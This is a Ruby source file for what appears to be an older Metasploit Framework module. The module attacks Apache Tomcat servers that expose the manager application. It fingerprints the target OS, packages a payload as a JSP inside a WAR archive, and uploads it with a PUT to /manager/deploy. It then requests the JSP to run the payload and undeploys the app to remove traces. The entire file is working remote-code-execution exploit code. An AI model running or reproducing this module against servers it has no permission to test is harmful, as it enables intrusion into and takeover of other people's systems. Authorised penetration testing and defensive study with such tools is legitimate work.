metasploit-gs/modules/exploits/multi/http/tomcat_mgr_deploy.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Apache Tomcat Manager Application Deployer Upload and Execute',
			'Description'    => %q{
					This module can be used to execute a payload on Apache Tomcat servers that
				have an exposed "manager" application. The payload is uploaded as a WAR archive
				containing a jsp application using a PUT request.

				The manager application can also be abused using /manager/html/upload, but that
				method is not implemented in this module.
			},
			'Author'      => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'     => '$Revision$',
			'References'  =>
				[
					# There is no single vulnerability associated with deployment functionality.
					# Instead, the focus has been on insecure/blank/hardcoded default passwords.

					# The following references refer to HP Operations Manager
					[ 'CVE', '2009-3843' ],
					[ 'OSVDB', '60317' ],

					# tomcat docs
					[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
				],
			'Platform'    => [ 'win' ], # linux untested
			'Targets'     =>
				[
					#
					# detect via /manager/serverinfo
					#
					[ 'Automatic', { } ],

					#
					# Platform specific targets only
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					]
				],
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('PATH', [ true,  "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
			], self.class)
	end


	def auto_target
		print_status("Attempting to automatically select a target...")

		path = datastore['PATH'] + '/serverinfo'
		res = send_request_raw(
			{
				'uri'   => path
			}, 10)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		arch = nil
		plat = nil
		res.body.each_line { |ln|
			ln.chomp!
			#print_status('  ' + ln)
			case ln

			when /OS Name: /
				os = ln.split(':')[1]
				case os

				when /Windows/
					plat = 'win'
				end

			when /OS Architecture: /
				ar = ln.split(':')[1].strip
				case ar

				when 'x86'
					arch = ARCH_X86
				end

			end
		}

		# see if we have a match
		targets.each { |t|
			if (t['Platform'] == plat) and (t['Arch'] == arch)
				return t
			end
		}

		# no matching target found
		return nil
	end


	def exploit

		mytarget = target
		if (target.name =~ /Automatic/)
			mytarget = auto_target
			if (not mytarget)
            raise RuntimeError, "Unable to automatically select a target"
			end
			print_status("Automatically selected target \"#{mytarget.name}\"")
		else
			print_status("Using manually select target \"#{mytarget.name}\"")
		end

		# set arch/platform from the target
		arch = mytarget['Arch']
		plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

		# Generate the WAR containing the EXE containing the payload
		jsp_name = rand_text_alphanumeric(4+rand(32-4))
		war = Msf::Util::EXE.to_jsp_war(framework,
			arch, plat,
			payload.encoded,
			:jsp_name => jsp_name)

		app_base = rand_text_alphanumeric(4+rand(32-4))
		query_str = "?path=/" + app_base

		#
		# UPLOAD
		#
		path_tmp = datastore['PATH'] + "/deploy" + query_str
		print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
		res = send_request_cgi({
			'uri'          => path_tmp,
			'method'       => 'PUT',
			'ctype'        => 'application/octet-stream',
			'data'         => war,
		}, 20)
		if (! res)
			raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
		end
		if (res.code < 200 or res.code >= 300)
			case res.code
			when 401
				print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
			end
			raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
		end

		#
		# EXECUTE
		#
		print_status("Executing #{app_base}...")
		res = send_request_cgi({
			'uri'          => '/' + app_base + '/' + jsp_name + '.jsp',
			'method'       => 'GET'
		}, 20)

		if (! res)
			print_error("Execution failed on #{app_base} [No Response]")
		elsif (res.code < 200 or res.code >= 300)
			print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
		end


		#
		# DELETE
		#
		path_tmp = datastore['PATH'] + "/undeploy" + query_str
		print_status("Undeploying #{app_base} ...")
		res = send_request_cgi({
			'uri'          => path_tmp,
			'method'       => 'GET'
		}, 20)
		if (! res)
			print_error("WARNING: Undeployment failed on #{path} [No Response]")
		elsif (res.code < 200 or res.code >= 300)
			print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
		end

		handler
	end

end